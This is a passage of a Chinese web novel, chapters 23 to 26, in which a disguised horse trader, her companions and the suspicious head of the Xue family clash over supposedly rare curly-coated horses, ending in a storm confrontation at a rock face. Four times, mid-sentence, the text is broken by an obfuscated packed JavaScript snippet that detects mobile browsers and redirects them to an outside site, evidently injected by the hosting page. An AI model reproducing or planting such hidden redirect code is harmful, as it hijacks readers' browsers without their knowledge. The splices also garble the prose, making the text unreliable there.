一旁的薛世茂见自家父亲问起来没个完，面上有些挂不住，扯着晏回就往椅子上按：“爹，先让客人落座吧！晏公子可是累了一天了！” “正是正是”，薛承业也赶紧帮腔道，“这也就是晏公子年轻力壮，不远千里来府城贩马，若换作我啊……晏公子，我听说你此行所贩马匹竟是拳毛騧？可是唐太宗昭陵六骏里的那种？” 薛承业醉心商贾之术，早就憋了一肚子话想要问，这番见晏回终于落座，便再也忍不住，急不可待地问了出来。 晏回不置可否地颔首而笑：“二叔若是有兴趣，不妨抽时间去马场看一看，小侄定然作陪。” 晏回将对薛承业的称谓从“二爷”转换成了“二叔”，颇有几分亲近之意。薛承业自然心领神会，捋着胡子大笑道：“去！这必须去！晏公子有所不知，我薛家在历城县经营马场三代，就是缺匹像样的种马！天可怜见，竟……” “二弟。”茶盏不轻不重地在桌案上磕了一下，薛承业立时噤声，微微扭头看向一旁的薛承宗。薛承宗端起茶盏，悠悠地啜了一口，杯中的热气蒸腾而上，模糊了薛承宗的表情。“晏公子想必是累了，今日还是莫要牵扯他的精力了罢。” 薛承业眸光闪动了一下，半晌方笑道：“大哥所言甚是，倒是我思虑不周了。” 见薛承宗已起了送客之意，晏回与范凌舟对视一眼，顺水推舟地起身行礼告辞。在走出花厅之前，晏回缓了缓步子，微微侧眸向花厅西北角的屏风投去一撇。皎白如新月的云母纸上，绘着一幅寒江独钓图，凄清冰冻的江面上，孤身一人的钓叟独守一船白雪。 “兄长在看什么？”身后追上来的薛世茂问道。 晏回收回目光，摇头笑道：“我在看那钓叟，钓的非是鱼，而是那轮江心的月亮。”言毕，大踏步地走出门去。 薛世茂听得丈二和尚摸不着头脑，也跟着回头打量了几眼，那屏风放在花厅里多年，自己竟从未仔细瞧过。他看了半天也没看出个所以然，有些懊恼地转过头，继续追晏回去了。却未曾注意屏风后有一抹水绿色的裙角，一闪而过。 * * * “兄长，兄长！”绕过回廊，薛世茂总算追上了大踏步离去的晏回。“我还有几句话要同兄长说。” 范凌舟下意识地撇了撇嘴：“说了一日了，薛公子的嘴皮子不干啊？” 薛世茂笑嘻嘻地挠了挠头，愣是没有听出范凌舟的阴阳怪气：“倒是没有，只是有些话，不对兄长讲明终究憋闷。” 范凌舟自己也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184822|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承认，对这没心没肺的薛世茂是存了敌意的。虽说晏回始终是以男子的身份与薛世茂交往，薛世茂也打心眼儿里认准了晏回是他的兄长，可范凌舟眼瞧着对方像被面糊粘住的蝉儿般，日日亲亲密密地粘着晏回，吵嚷个不停，心里总是不痛快的。 范凌舟还欲回嘴，袖子便被唐珠儿一扯，拉到了一边儿去。 见范凌舟和唐珠儿一前一后消失在回廊的深处，薛世茂方开口道：“刚才……让兄长受委屈了。” 晏回抬眸，微微一笑：“这如何说得？” 薛世茂喏喏道：“家父自来就是如此，对外人颇为严苛审慎，当然，小弟绝没有说兄长是外人的意思，在小弟这里，兄长是嫡嫡亲的兄弟……可是，家父的想法，小弟也很难改变。” “贤弟多虑了，愚兄岂能因这点小事矫情别扭。”晏回心里有着别的盘算，着实想快点儿打发了这黏屁股滚儿。她抬起手，佯作亲切地在薛世茂的肩膀上拍了拍。 正欲转身，却见薛世茂深吸一口气，似是下定了某种决心般大声道：“兄长定是觉得，二叔待人随和，是可相与的。可二叔是心里有想法之人，待兄长热忱是看重了兄长西域马商的身份、财势与手段，并非是倾慕兄长的才学人品，终究是……是同小弟不一样的！而小弟，也是同父亲不一样的，希望兄长不要因父亲之故，对小弟起了疏远之意……” 说到后来，薛世茂的声音越来越小，恍若蝇鸣。 他急于剖白，生怕薛承宗的冷漠伤了晏回的心，更是唯恐这刚认下的异姓兄弟因此生了嫌隙。自小生长在这深宅大院中，见惯了尔虞我诈，口蜜腹剑，倒唯有晏回让他感受到了与之截然不同的坦荡情谊，他又岂能不看重？ 晏回的眉头微微蹙了蹙，在薛世茂抬头的瞬间，那抹浅淡的疑惑之色便散了去。 “我自是知道贤弟是不同的。”她的脸上重又洋溢起让薛世茂安心的笑意。 “当真？” “当真。” 闻言，薛世茂长舒一口气，又抚胸口又拍大腿，动作夸张如一只挠不到后背的狒狒：“那便是小弟以小人之心度君子之腹了，如此便好，如此便好……” “那……那小弟便不叨扰兄长了，兄长早些歇息。”初见时的纨绔子弟，此刻老老实实地拱手行礼，若是这番情景让王五六见到，只怕会惊叹连连吧！ 而此时，王五六正小心翼翼地敲响薛承宗书房的大门。 23. 生死签（六） “给薛大老爷请安！”王五六甫一进门，头尚不敢抬，就噗通一声跪在地上，恭恭敬敬地叩了个头。 书房内烛火摇曳，薛承宗端坐在太师椅上，手指轻叩着桌面，半晌没吭声。王五六不敢抬头，心里直发紧。薛家三位爷，他最怵的就是面前这位。薛家二爷巧舌如簧，爱财如命；薛家三爷冷面佛心，少与人言；唯独这位大爷，别看平日里端正肃穆得像个佛爷，背地里的阴损招术可是应有尽有……心里这样想着，王五六不由得打了个寒战。 见薛承宗仿佛没有听见，还勾着脖颈不言语，便膝行而前，谄媚道：“小的王五六，给薛大老爷请安。” 薛承宗终于缓缓抬眸，冷冷扫量了王五六一眼：“现如今，我府上住进了一个姓晏的马商，你可知晓？” 王五六心里咯噔一下，连忙回话：“小的……小的略有耳闻，说是带了批好马进府城。” 那拳毛騧他是远远见过的，被薛小爷吹得天上有地下无的，他便是想不知晓都难。 “好马？”薛承宗冷笑一声，“那拳毛騧的种马，要是进了府城，你的贩马生意可还做得下去？” 王五六脸色渐渐白了，他不是没有焦虑过这一点，但那晏回是薛小爷的人，他又能如何。可听着薛承宗话里有话，他便就坡下驴道：“那……大爷您的意思是？” “从今日起，盯着砚池的马场。每日草料用度、马夫行踪、夜里动静……但凡有风吹草动，立刻报来。”薛承宗顿了顿，指尖在茶盏沿摩挲着，“可若是走漏了半点风声……” “不敢！小的绝不敢！”王五六连滚带爬地磕头，“小的这就去盯着，保证眼睛都不眨一下！” 薛承宗抬手，将一锭银子扔在他面前：“做得好，便是赏你的，往后薛家的生意少不了你的那一份；若是做得不好，便拿着打棺材吧！” 王五六捧着银子，恍若大热天抱着个炭盆，后背早已被冷汗浸透。他喏喏退下时，正撞见薛承文站在廊下，月光洒在他灰色的直襟上，像一截冰冷的石柱。王五六打了个寒颤，头也不回地窜进了夜色里。 * * * 夏昼渐长，日头毒烈，照得人恹恹的。范凌舟最是怕热，往日在长生观中，他自是可以独坐小楼成一统，寻个僻静阴凉之地休憩。可现如今，他人在薛府之中，又披上了“马商掌柜”的外皮，却是失了那番自由自在的闲情。 薛承宗将西跨院分给了远道而来的晏回诸人，俗话说东淋西晒，这西跨院在夏季最是炎热，更是惹得范凌舟成天到晚唉声叹气。 这日，见四下无人，范凌舟一个纵身，跃上院中的悬铃木乘凉。这株悬铃木枝干遒劲，叶片肥厚，成年人头脸大小的叶片遮蔽了刺目的阳光，形成一派难得的阴凉。风过悬铃，簌簌如私语，只听得范凌舟昏昏欲睡。 长眸微微合拢，半晌唇齿间竟溢出一声叹来。 “哎……一入薛府深似海呐……” ——从此晏郎是路人。 也无怪乎范凌舟悲叹，实在是人在屋檐下，不得不低头。这些时日，他同晏回相处的时间屈指可数，甚至比上回在鲁宅有过之而无不及。正自想着，却听见一阵细碎的脚步声。 范凌舟微一倾身，从叶片的缝隙间看过去，只见一个小丫鬟冒着暑气，一路小跑往东边去了。范凌舟眸光一晃，悄无声息地滑下树来，偷偷跟了上去。 此刻，东边的马厩已被日头晒得发烫，晏回挽起袖子，正用篦子细细梳理照夜白的鬃毛。那匹神驹通身雪白，一根杂毛也无，此刻正温顺地垂着头，任由主人收拾摆弄。 嗤—— 篦子刮过打结的鬃毛，照夜白不安地刨了下蹄子。晏回手腕微顿，轻声道：“别动，此处伤了油皮，再闹就上药了。”她从腰间解下羊皮水囊，往掌心倒了些清水，一点点揉开纠结的毛发。 动作间，她佯作不经意地向马厩外一瞥，只见一个面生的小丫鬟探头探脑朝她张望了几眼，旋即转身跑开了。 晏回面上不动声色，心中却起了警惕，不多时，她便听见一阵轻缓的脚步声在身后响起，微微垂眸，一抹水绿色的裙角便映入眼帘。 “我常听人说，西域来的良驹性子骄纵，不愿屈居檐下，今日一见，也不尽然，这匹马儿倒是柔顺得很。” 女子的声音温婉清亮，若流水一般。晏回直起身来，微笑着转头看去。只见身后立着一位绿裙佳人，半边身子藏在屋檐的阴影之下，更衬得那肤色皎白如雪。 “晏回晏西楼，见过薛姑娘。”晏回的目光只礼貌地在女子的眉眼间扫了扫，便躬身行礼。 “你识得我？”这下，女子反倒疑惑起来。 “早就听世茂贤弟说过，家中有位嫡长姐，聪敏多思，不输儿郎，更难得的是极擅相马，连西市的马商都不敢造次糊弄，想来便是姑娘了。” 女子白净的面皮儿上腾起一抹红霞，声音也不自觉低了几分：“公子切莫听他胡言，哪有……哪有他说的那般……” “是薛姑娘过谦了，世茂贤弟善良热忱，有其弟必有其姐，能识得二位，是晏某的荣幸。” 薛家姑娘名唤灵犀，闻言不由得偷眼多瞧了晏回几眼。她长这么大，倒是第一次听见有人这么评价她的混世魔王弟弟，心中对晏回的好感不觉又多了几分。 正自想着，一个热哄哄毛茸茸的脑袋过来，往薛灵犀垂在一旁的手上蹭去。 “哎呀！”薛灵犀猝不及防，下意识地后撤了一步，正好撞在晏回身上。隔着轻薄凉爽的衣料，薛灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184823|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犀能清晰地感受到晏回温暖的体温，和隔着衣袖搀扶她的小臂。这下，薛灵犀的脸皮儿红了个彻底，从脖颈处漫起的粉色径直向上，将整张玉面笼罩其中。 晏回不声不响地扶了她一把，待她站定了身子，便随之撤了开去。见薛灵犀还是背对着自己，尴尬非常，便笑着挑起话头道：“薛姑娘方才一路走来，身上带着甜丝丝的凉气，想来是给它带了好东西？这匹照夜白鼻子灵得很，嘴又极馋，是该好好管管了。” 晏回一边说，一边屈起食指，不轻不重地在照夜白的鼻梁上敲了一下。 咚—— 一抹笑纹从薛灵犀绷紧的唇边绽开，继而蔓延向眼底眉梢，她没有忍住，噗嗤一声笑了出来。晏回也随着她笑，她能看到薛灵犀眸光里的自己，小小的，亮晶晶的。 薛灵犀将始终藏在身后的食盒让了出来，递给晏回：“让晏公子猜着了，我见今日天儿热，便给马儿带了些胡萝卜冰来。” 晏回依言打开食盒，见盘中整整齐齐摆放着冻成正方形的小冰块，每个冰块里都包着数个胡萝卜块儿，被午后的日头一照，晶莹剔透，让人食欲大开。果不其然，食盒的盖子刚刚掀开，照夜白的脑袋便挤了过来，嘎吱嘎吱地大快朵颐起来。 见马儿吃得欢喜，薛灵犀不觉莞尔，倾着身子欲抚摸照夜白的脑袋，却只听“叮——”地一声响。 循声望去，只见薛灵犀腰间悬挂的玉佩竟被照夜白的马镫吸了过去，紧紧贴在蹬环上。薛灵犀俏脸一红，赶紧探手将玉佩压下，对晏回解释道：“让公子见笑了。此玉佩中含有磁石，日常佩戴多有不便，只是自小随身携着，便也不曾摘。” 晏回顺着少女柔和的腰线望去，那玉佩呈淡青色，质地温润，隐隐可见细密纹路，确非寻常玉石可比，心中一动道：“世间竟有如此别致稀罕之物。” 薛灵犀柔声道：“爹爹说，这种玉石不易成型，耗费诸多玉料只成了两块，我与世茂各得一块，放在一起便可隐隐相吸，图个‘姐弟连心’的吉利。” 二人相谈正欢，晏回的余光却瞥见方才那探头探脑的小丫鬟又出现了，躲在廊下的阴影里冲着薛灵犀直挥手。 薛灵犀面色一讪，心知自己与晏公子聊得忘了形，若是被旁人看到，只怕会起了流言蜚语，于名声有误，便赶紧垂下眼帘轻声道：“公子，时候不早了，小女……这便告辞了。” 她微微一礼，正欲转身，却又想起了什么，瞟了一眼还在吃冰的照夜白：“若马儿还嘴馋，府中的井窖里存着不少冰，公子自可取用。” 说完，也不待晏回回应，便快步离开了，那水绿色的裙子在回廊处一闪，便再也瞧不见了。晏回的目光还追着那抹裙影，却听头顶不远处传来一声不屑地“啧”声。 24. 生死签（七） 晏回警惕地四下看顾了一圈，下一瞬，范凌舟便从树梢上一跃而下，正落在晏回身前。 范凌舟直起身子，犹嫌不足，又不满地“啧”了一声。 “那薛家姐弟倒是有趣，跟沾了荤腥的猫儿似的，黏着你不放，弟弟这样，姐姐还这样，烦死！” “我方才可是瞧了个真切，那薛灵犀先派了个小丫鬟偷摸摸探看了一眼，确定你孤身一人了，才佯装给小白送冰制造偶遇，明眼人谁看不出来啊！” 范凌舟抱着双臂，满脸不忿地歪靠在马厩的栅栏上，哪里还有半分仙风道骨的气度。晏回也不打断，只等他抱怨完方道：“这不正是你计划的一部分吗？” 无论是奔马相救，还是那惊艳的纵马驰骋，亦或是屏风初见，甚至是刚刚的马厩私谈，这一切的起伏跌宕，旖旎柔婉，本就是范凌舟一手促成与推动的，晏回无非是他最惊才绝艳的伶人罢了。 “不成你不喜，成了你又不喜——”晏回笑着一叹，继续弯腰刷马。 “我不管。”范凌舟扭过头，掩住眸中一闪而过的黯然之色。他心知晏回说得有理，却终究意难平。 正恼着，却听晏回道：“不过，今日倒是有意外之喜。” “没觉得喜，就觉得烦……”范凌舟小声嘟囔着。 晏回也不与他纠缠，权当没有听到他的抱怨，继续说道：“那磁石玉佩着实有趣，可以去查查看，也省得你整日闲来无事，自寻烦恼。” 范凌舟应了，顶着大太阳垂头丧气地往回返，午后被晒烫的风里，还隐隐约约能听到他“烦烦烦”的三字经。晏回停下手中刷马的动作，转头看向范凌舟的背影。 从初遇那日，她便觉得他不像个道士，经年累月的相处下来，他愈发不像了，还多了几分孩子脾性。晏回摇摇头，不自觉地笑了。 * * * 是夜，暑气蒸隆，盘亘了一整日的雨终究没有落下来，积聚在砚池草场的上空，形成一片浓黑色的云层，竟是把月亮都吞了去。草场的静僻处立着一个小小的撮罗子，以三根粗实木杆交叉为支撑，顶端套柳条圈以加固，上覆以柳蒿条编织而成的草帘子，既遮阳又通风，若不仔细打量，几乎和草场齐人高的草丛融在一处。 风吹帘动，只一闪，一个深褐色的人影便探身钻了出来，正是楚庸。 与深入薛府的晏回、范凌舟和唐珠儿不同，楚庸的伪装之术可谓差之千里，便得了个马场放马的差使。楚庸倒也乐得如此，天为盖，地为床，日日与数十匹拳毛騧相伴，总好过寄人篱下的憋屈。 抬头望了望晦暗的天色，楚庸抄起立在撮罗子外的扁担，走到池畔，担了两桶水。 只一个呼哨，草场深处四散的马群便聚拢到楚庸身边。楚庸一一看了过去，从中挑了一匹苍黄色的母马。只见他抬手在母马的耳后抚了抚，那马便温顺地垂下头，任由他解下缰绳，牵往更僻静的芦苇荡边。这里的芦苇异常茂盛，密不透风的芦苇秆将星光与窥探的视线一并隔绝，只余虫鸣与水流声在耳畔低回。 楚庸弯下腰，将一瓢清水倾倒在马背上，同时用毛刷轻轻刷动，泥沙混着油污从毛皮上脱落，被水浸透后的鬈毛竟然慢慢绷直，毛色也透出油亮的枣红来。楚庸面色如常的清理着，似乎没有在意拳毛騧的变化。他手上动作极快，在毛刷梳理过后，又用粗布巾在马身上来回擦拭，连腹下与腿弯的汗渍都擦得干干净净。 借着不时探出浓云的月光，那芦苇荡掩映下的拳毛騧竟是变了模样。那黄毛黑嘴逐渐消失，隐隐约约露出寻常驽马的毛色。 待马毛半干之时，楚庸从怀中掏出一瓶黑色的小罐，指尖蘸了罐中半凝固的膏体，顺着马颈的鬃毛细细揉搓。从脊背到臀部，从肩胛到前腿，连马尾的末梢都没放过。那膏体呈深褐色，触感黏腻，混着未干的水珠抹在毛发上微微发亮。说来也奇，原本被水浸得顺直的马毛，在膏体的作用下竟缓缓蜷缩起来，蜷成一个个细密的苍黄色小卷，如同烫过的绒线一般。 不到半个时辰，一匹马便收拾停妥，楚庸拍了拍它的脖颈，将缰绳重新系好，目送它消失在芦苇深处。 不多时，芦苇荡中又响起一声清亮的呼哨声。 * * * 薛承宗面色阴沉地坐在太师椅上，仿佛不解恨一般用力地捻着手中的念珠。 整整一天时间，他已经断续接待了两拨人。甫一大早，他那从来不肯早起的不成器的儿子便将他堵在了书房里。絮絮叨叨大半日，句句不理那姓晏的马商，里外里的意思便是，自己在读书上没有什么出路，不如随着晏回跑跑商路，拓宽自家马场的生意，也算是为族里做了贡献。 薛承宗冷着脸将他斥了出去，肚里已然窝下了一团火。可谁料，中午才用过膳，他那二弟薛承业又兴冲冲地跑了来，想要煽动自己和那西域马商共谋“大业”，将府城的生意做到西域去。 自己的儿子不成器便也罢了，自诩头脑灵活，点石成金的薛承业竟然也跟着一门心思往外奔，实在是不知那晏回给二人灌了什么迷魂汤。 本就炽烈的邪火无所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184824|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦阻，薛承宗对着薛承业大发了一通脾气。薛承业没有想到薛承宗会恼怒至此，嘴里还止不住地嘟囔道：“宁做凤尾不做鸡头，大哥你日日守着府城这巴掌大的地儿，也是心思惫懒了，成不了大事的，成不了！” 想及此，薛承宗不由得怒哼一声：“只怕大事还没成，便先在别人的阴沟里翻了船！” 话音还未落，就见一下人如履薄冰地探了探头，小声禀报道：“大老爷，王五六求见。” 薛承宗紧咬后槽牙，强自压下怒火：“让他进来吧。” 万没想到，看上去最不靠谱的王五六带来的消息，却让薛承宗瞬间坐直了身子。 “你可看清楚了！？” 王五六结巴了半晌，把方才看到的场景在脑海中过了五六遍，才道：“回禀大老爷，那芦苇丛茂密，天色又晦暗，若说是看得真真切切，未免托大，可是……可是若说是行为坦荡，又为何将马儿拖到芦苇丛中呢？一晚上见刻不停地刷洗了六匹马，宁可自己一趟趟担水，也不愿将马儿带到敞亮的池边去，小的总觉得……” “总觉得古怪得紧呢！”最终，王五六笃定道。 与自家一门子心思走商路的族弟薛承业和满口嫡嫡亲弟兄的薛世茂不同，薛承宗始终对晏回等人存着警惕。而王五六传回来的讯息，又进一步加深了薛承宗的猜想。这帮所谓的西域马商，恐怕不仅仅是贩马那么简单，定然还存了别的心思！ 可是，这一切的真相究竟又是什么呢？为什么单单要挑选这么一个星月暗淡的深夜洗马，为什么要将马匹掩藏在芦苇丛中，为什么宁可担水也不愿图方便？王五六胆小如鼠，万不敢走漏风声；薛承宗也从未与马商一行私下接触，那群人绝想不到他们的一言一行都在自己的监视之下。 那么，他们费尽心机掩盖的…… ——是马！世人未曾见过拳毛騧，所知也无非是古籍中只言片语的记载，那么伪造拳毛騧就成了最无后顾之忧的骗局！而拳毛騧最标志性的特点便是满身密布的卷毛，只要能够将马匹的毛发变卷…… “你想得没错，那马匹定有蹊跷！”薛承宗狠狠地捻了一把手中的珠串，命令道：“给我盯死了那个马商，随时来报。” “大老爷”，王五六有些为难地砸吧了一下嘴，“小的自然是眼睛都不敢眨地紧盯着，可……可咱们拿人家怎么办呢？就算再怎么盯，咱们也没证据不是？” “证据——”薛承宗冷冷一笑，眸光上移，望向窗外那片黑沉沉的天空，“老天很快便要给咱们送过来了。” 25. 生死签（八）已补完 济南府地处低洼盆地之中，城南的泰山余脉如一道天然屏障，将南来的灼热潮气牢牢锁住。每至盛夏，水汽在群山环抱下蒸腾积聚，化作铅灰色的浓云压在城头，只需一丝风动，便能倾泻出瓢泼大雨。 翌日晌午，城中憋闷得惊人，日头被云层捂着，如同蒸笼下灼烫的炭火，不见日光却能感受到黏稠得几乎成型的热气。薛承宗坐在书房里，将檀木珠子捻得油光锃亮，轩窗之外，卧牛山的轮廓在岚气中若隐若现，像一头蛰伏的巨兽。 而此时，晏回正站在西跨院的廊下，望着檐角垂落的蛛丝。那蛛丝上凝着几粒晶莹的水珠，一只正在向上攀爬的喜蛛停在浑圆的水珠前，不知该如何是好。 “你说这雨是下得来，还是下不来？”晏回轻声问道。 范凌舟正蹲在地上摆弄一个怪模怪样的罗盘，指针在刻度盘上颤巍巍地晃动着：“难讲，水汽重成这样，却连个雷响都没有。”他微微抬眸，若有似无地瞟向卧牛山的方向，“黑云压城城欲摧啊——” 晏回的目光在犹豫的喜蛛身上黏着片刻，陡然一厉：“不等了，告诉珠儿，咱们立刻出发。” “现在？” “就是现在。” 范凌舟也不多话，即刻起身去叫还在内室里呼呼大睡的唐珠儿，三人略作准备，正欲出门，却发现西跨院的门口多了数名家丁。 为首一名家丁膀大腰圆，仅凭一人之力就把西跨院连接主院的月亮门挡了个严严实实。其余家丁则手持水火棍，面色冷硬地依次排开。 见晏回等人作势要走，为首的家丁躬身作揖道：“晏公子，咱家大老爷吩咐了，看这天象半个时辰内必降暴雨，您几位初来乍到不熟路径，若有差遣尽管吩咐小的们，万不可冒雨外出。” 虽说这家丁面儿上笑得不见眉眼，语气却不容置喙，显然是得了薛承宗的死命令。 “哟，这济南府的规矩倒是稀奇——只见过不让人进门的狗，不让人出门的还真是第一次见。”唐珠儿眸光骤冷，探手便摸向腰间的药囊。指尖刚触到瓷瓶冰凉的釉面，就被晏回不动声色地按住。 晏回的目光越过家丁肩头，落在影壁后一张熟悉的脸上。她记得那个小丫鬟，人长得伶俐可爱，是薛灵犀的贴身丫鬟。 “差遣？”晏回忽地抬高声调，“拳毛騧乃是传世名驹，自幼在沙漠中长大，何曾见过中原暴雨？若是惊了马伤了人，这个责任你可担得起？”晏回顿了顿，紧盯着为首的家丁，“薛公子与我亲如兄弟，薛老爷待我亲和有加，绝不会在马匹一事上为难于我，只怕是你们听岔了音，会错了意，还不速速退下，莫要离间我与公子的情谊！” 寥寥数语言毕，众家丁已是出了一脑门子汗。他们的确是得了薛承宗“严防死守”的命令，却没料到对方拿马匹说事——谁不知道薛世茂把那批拳毛騧宝贝得跟眼珠子似的，替大老爷办事，却得罪了活阎王似的小老爷，岂不是里外难做？ 为首的家丁名唤薛德贵，是众家丁的主心骨，只见他挺着大肚子又往前上了一步，毫无退让之色：“还请公子放心，砚池马场自有得力伶俐的马师为公子看顾，无须公子挂怀，还请公子——” 满面的笑容敛去，眼角眉梢流露竟皆是威胁之色。 “——回屋。” 正当双方僵持不下之际，忽听一阵环佩叮当，薛灵犀提着裙摆从抄手游廊快步走来，身后跟着气喘吁吁的薛世茂。 “何事喧哗？”薛灵犀的声音带着一丝不易察觉的慌乱，目光在晏回和家丁之间转了一圈，最终落在为首家丁薛德贵身上，“谁让你们拦着晏公子的？” 薛德贵正欲解释，却见已然炸了毛的薛世茂借着助跑之势冲了过来，一脚踹在他的屁股上。许是用力太过，薛世茂踉跄了几步方才站稳脚跟，回身就指着鼻子大骂道：“混账东西！爹让你们好生伺候客人，谁给你们的胆子拦路？！都给我滚！” 他说着就要去夺家丁手里的水火棍，吓得众人慌忙后退。薛灵犀赶紧拉住他，又转向晏回歉然道：“晏公子莫怪，许是家父担心雨势太大……既然公子担心马匹，我这就命人备车。” “阿姊，还备什么车啊！”薛世茂怒气冲冲瞪着刚爬起身来的薛德贵，再次狠狠补上一脚，“滚去牵马！我要与晏兄同去！” 薛德贵哪敢反抗，脸上的肥肉憋屈地颤了颤，捂着屁股连滚带爬地向马厩跑去。薛世茂紧跟在后，似乎随时准备再踹一脚。 范凌舟看着薛世茂急匆匆的背影，和唐珠儿相互交换了一个眼色，压低声音道：“这挡箭牌来得还算及时。” 唐珠儿撅起嘴，若有似无地砸吧了一下：“接下来，就看楚大哥扛不扛得住了。” 雨如潮，天如裂，积聚了数日的暴雨倾盆而至。砚池畔的芦苇荡早已是一片狼藉，坚韧的苇杆被雨水鞭打得弯下腰来，委身到脚下的泥淖之中。池水趁着雨势翻涌而上，将草场变成一片汪洋，整个天地都被一种湿漉漉的腐败之气充溢着。 借着一道惨白的闪电，草场中隐约现出数个疾奔的黑点，但下一瞬又被如浪的高草吞没了。 “驾——” 楚庸抹了把脸，雨水混着泥水滴进眼里，涩得生疼。胯//下的头马正带着他在半尺深的泥浆中跋涉，马腹几乎贴地，稍不注意就会陷入到草泽之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184825|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼瞧着那片灼灼欲扑人的山体愈来愈近，楚庸狠了狠心，一鞭子抽在头马的屁股上。头马吃痛，猛地扬起前蹄，带着马群冲向那片在雨幕中若隐若现的黑色岩壁。 在大雨来临之前，楚庸便相中了这片宽阔的山壁，这片山壁并非浑圆的土坡，而是一段斧劈状断面——东西绵延近三十丈，高约七八丈，像一头匍匐的巨兽脊背突然拱起，硬生生在平坦的草场边缘撕开一道屏障。岩壁之下生着许多天然的石笋，正好用来栓马。待所有马匹的缰绳都松松地挂在石笋上，楚庸方才直起身子，靠着湿漉漉的岩壁缓口气。 “轰隆——” 又是一道森冷的白光劈下，将马群避雨的岩壁整个照亮。借着那光亮，楚庸看到那灰黑色的岩壁上布满蜂窝状的凹坑，大的如拳，小的如豆，水流顺着岩缝切割出深浅不一的沟壑，隐约露出内里赤褐色的石心。 ——这是什么石头？倒是稀奇。 楚庸心中诧怪，正欲定睛再看，却闻听一阵急似一阵的马蹄声由远及近响起。 循声望去，雨幕中陡然亮起一点猩红，紧接着，第二点、第三点……数十点红光次第浮现，如同无数不怀好意的眼瞳，楚庸眯起眼，只见二十余骑排成三列纵队直奔岩壁而来。 马匹的身上皆披着油布雨披，端坐在马背上的人则一律头戴竹编斗笠，檐角压得极低，遮住了大半张脸，只露出紧抿的下颌线和握缰的手。领队者位于正中，楚庸瞧着眼熟，细细辨认，正是薛氏族长，薛府的当家人——薛承宗。 “来者不善，善者不来。”楚庸挺直了腰背，踏前一步，挡在自家的拳毛騧和马队之间。 “吁——” 薛承宗勒住缰绳，二十余骑同时止步，动作干净利落得紧，这些人与其说是薛府的家丁杂役，不如说是训练有素的士兵。只见薛承宗抬手将火把往前一送，橙红色的火光直直照向楚庸的眼睛。 “楚马师”，薛承宗的声音裹着雨势冷冷砸了过来，“暴雨之夜不将马匹牵回马厩，反倒藏在这荒石堆里，可是信不过我薛府？” “回大老爷，此处地势高燥，又有山体遮挡，自是避雨佳处。拳毛騧性子烈，方才雷声已惊了两匹，不敢再折腾。”楚庸回答得不卑不亢。 “拳毛騧？”薛承宗微微抬首，一道凌厉的目光自帽檐下浮现，如同出鞘的弯刀，“济南府的人皆言，晏公子从西域引来了拳毛騧，可这拳毛騧早已失传上百年，真真假假又如何分辨？总不能晏公子说是，便是吧？” “来人——”薛承宗的声音陡然挑高，身后的马队瞬息便朝楚庸压了过来，“今日咱们便沾沾晏公子的光，一赏这拳毛騧的风采！” 26. 生死签（九） 随着薛承宗一声令下，数支火把便径直探了过来，直照向楚庸身后的马群。 楚庸浓眉紧蹙，舍身阻挡：“不可！莫要惊了马！” 他一边说，一边用手肘撞向扬起的火把，然而，已经晚了。 又一记闷雷自天空滚过，震得地面都颤动起来，本就惊慌失措，不安地用马蹄刨动沙石的马群，突然异口同声地嘶鸣起来，人立而起，再也不听号令，冒着暴雨冲出了遮蔽的石岩！ “拦住它们！”薛承宗大吼道，可受了惊的奔马又哪里拦得住，它们一拥而出，将薛承宗的队伍撞得人仰马翻，数支火把滚落在地，火星子直崩到潮湿的石壁上。 当是时，怒骂声，马嘶声，雷声，雨声，蹄声响成一片，薛承宗仍不死心，虽是手中火把已失，可还妄图借着空中滑过的闪电辨别拳毛騧的真假。他竭力倾长了身子，双腿紧紧夹着身下的马匹，眯起眼睛看向冲出来的马匹。 而另一边，楚庸还在竭力控制夺命狂奔的马群，不断地打着呼哨。那清脆而嘹亮的呼哨声，掩映在倾盆而至的大雨中，似乎变了调。下一瞬，聚精会神看着拳毛騧的薛承宗便觉一股巨力袭来，将他连人带马掀翻过去！ 